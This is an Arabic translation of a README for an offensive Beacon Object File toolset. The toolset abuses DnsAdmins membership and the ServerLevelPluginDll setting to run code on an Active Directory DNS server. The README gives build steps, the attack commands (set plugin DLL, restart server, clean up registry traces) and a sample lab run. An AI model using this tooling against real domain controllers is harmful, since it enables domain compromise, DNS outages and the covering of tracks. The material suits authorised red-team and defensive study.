
كائن ملف منارة (BOF) لتنفيذ وظيفة dnscmd.exe المستخدمة للحصول على تنفيذ التعليمات البرمجية عن بُعد على خادم ADIDNS من خلال استغلال ثغرة ServerLevelPluginDll باستخدام MS-DNSP.
تنفيذ Beacon Object File (BOF) لوظيفة dnscmd.exe المستخدمة للحصول على تنفيذ كود عن بُعد على خادم ADIDNS من خلال استغلال ثغرة ServerLevelPluginDll1 2 3 باستخدام MS-DNSP. 4 يتطلب الاستغلال الوصول إلى حساب مستخدم عضو في مجموعة DnsAdmins.
[!NOTE] نظرًا لأن BOFs لا تدعم استثناءات C بشكل أصلي، فإن هذا الامتداد يربط طريقة
RtlRaiseExceptionويعيد تدفق التحكم إلى BOF أثناء استدعاءات RPC. على الرغم من أن هذه الطريقة غير تقليدية، إلا أنها ضرورية لأن تنفيذ RPC من Microsoft يستخدم بشكل كبير RpcTryExcept لتدفق التحكم. عمل هذا بشكل جيد في بيئة اختبار، لكن كن على دراية بأن هذه التقنية قد تؤدي إلى عدم استقرار الـ beacon.
لتجميع المشروع، يمكنك استخدام make على نظام مثبت عليه MinGW:
make
بدلاً من ذلك، استخدم .\build.bat إذا كنت تستخدم x64 Native Tools Command Prompt لـ Visual Studio على Windows:
.\build.bat
ستنتج كلتا خطوتي التجميع ملفات .o بالإضافة إلى ملفات .exe للتجربة مع وظيفة BOF في بيئة مختبرية.
تم إنشاء BOFs التالية للتفاعل مع خادم ADIDNS:
dnsrpc_probe - التحقق مما إذا كان خادم ADIDNS نشطًاdnsrpc_info - الحصول على إعدادات خادم ADIDNS الحاليةdnsrpc_coerce_write - أداة لإجبار خادم ADIDNS على كتابة ملف إلى مشاركة شبكة لاختبار ما إذا كان وحدة التحكم بالمجال (DC) يمكنها الوصول إلى مشاركة الشبكة المحددة قبل تعطيلها عبر إضافة dnsrpc_set_plugin_dll.dnsrpc_set_plugin_dll - يهيئ DLL ليتم تحميله عند إعادة تشغيل الخادمdnsrpc_restart_server - يصدر أمرًا لإعادة تشغيل خادم ADIDNSdnsrpc_cleanup - ينظف آثار التسجيل التي خلفتها أوامر dnsrpc_coerce_write و dnsrpc_set_plugin_dll. يجب تنفيذه على وحدة التحكم بالمجال نفسها.بالإضافة إلى ذلك، تم توفير حمولة مثال في dnssrv_plugin.c.
[!WARNING] إذا لم تتمكن وحدة التحكم بالمجال (DC) لأي سبب من الوصول إلى حمولة DLL التي حددتها باستخدام
dnsrpc_set_pugin_dll، فسوف ترفض إعادة التشغيل ومن المحتمل أن تعطل المجال بأكمله. فكر في استخدامdnsrpc_coerce_writeلاختبار ما إذا كانت وحدة التحكم بالمجال يمكنها الاتصال بمشاركتك قبل أن تدمر الهدف عن طريق الخطأ. يميل الناس إلى الغضب عندما يتعطل DNS الخاص بهم.بالإضافة إلى ذلك، سيؤدي
dnsrpc_restart_serverإلى توقف DNS لمدة دقيقتين. استدعاء BOF عدة مرات سيؤدي إلى زيادة المهلة في كل مرة لذا استخدمه بحذر.
لاختبار BOFs في بيئة تطوير، يمكنك استخدام أداة مثل TrustedSec's COFFLoader، والتي يمكن تجميعها على Windows على النحو التالي:
cl.exe /W4 /DCOFF_STANDALONE /DDEBUG beacon_compatibility.c COFFLoader.c /Fe:COFFLoader.exe /link advapi32.lib
ثم لتنفيذ BOF (أي: BOF dnsrpc_info)، قم بإنشاء الوسائط وتمريرها إلى COFFLoader:
> python beacon_generate.py
Beacon Argument Generator
Beacon>addWString DC01
Beacon>generate
b'0e0000000a00000044004300300031000000'
Beacon> exit
> cl.exe /c /GS- dnsrpc_info.c /Fo:dist\dnsrpc_info.o
> COFFLoader.exe go dist\dnsrpc_info.o 0e0000000a00000044004300300031000000
...
$SG77912
: Section: 3, Value: 0xA08
$SG77914H
: Section: 3, Value: 0xA48
$SG77915X
: Section: 3, Value: 0xA58
.chks64: Section: 11, Value: 0x0
X: Section: 0, Value: 0x0
Back
Returning
Ran/parsed the coff
Outdata Below:
server name: DC01.research.lan
server version: 4F7C000A (10.0 build 20348)
rpc structure version: 2 (longhorn)
directory services available: yes
admin configured: yes
allow update: yes
is read-only domain controller: no
boot method: 3 (registry)
no recursion: no
round robin: yes
secure responses: yes
forward timeout: 3
recursion retry: 3
recursion timeout: 8
max cache ttl: 86400
directory services polling interval: 180
scavenging interval: 0
log level: 0x00000000
directory services container: cn=MicrosoftDNS,cn=System,DC=research,DC=lan
domain name: research.lan
forest name: research.lan
log file path: (none)
server addresses: fe80:0000:0000:0000:4cbe:0281:82dd:76ed, 172.16.50.107
listen addresses: (none)
forwarders: 8.8.8.8, 1.1.1.1
لإعادة تجميع تعريفات IDL، يمكنك استخدام الأمر التالي:
midl /W1 /char signed /env x64 /target NT100 /Oicf dnsrpc.idl
أثناء التطوير، سيؤدي علم _DEBUG إلى إضافة wmain إلى الملف الثنائي النهائي، ويستخدم علم _VERBOSE لتضمين تسجيل تصحيح إضافي. لمزيد من المعلومات، راجع build.bat و Makefile.
هذا المشروع مرخص بموجب MIT License - راجع ملف LICENSE للتفاصيل. لا أتحمل أي مسؤولية عن أي إساءة استخدام أو أضرار ناتجة عن استخدام هذه الأداة. استخدمها فقط في البيئات التي لديك فيها إذن صريح للقيام بذلك.
https://raw.githubusercontent.com/paradoxis/dnsrpc-bof/HEAD/%3Chttps:/medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83%3E ↩
https://raw.githubusercontent.com/paradoxis/dnsrpc-bof/HEAD/%3Chttps:/www.semperis.com/blog/dnsadmins-revisited/%3E ↩
https://raw.githubusercontent.com/paradoxis/dnsrpc-bof/HEAD/%3Chttps:/www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-dnsadmins-to-system-to-domain-compromise%3E ↩
https://raw.githubusercontent.com/paradoxis/dnsrpc-bof/HEAD/%3Chttps:/learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dnsp/9500a7e8-165d-4b13-be86-0ddc43100eef%3E ↩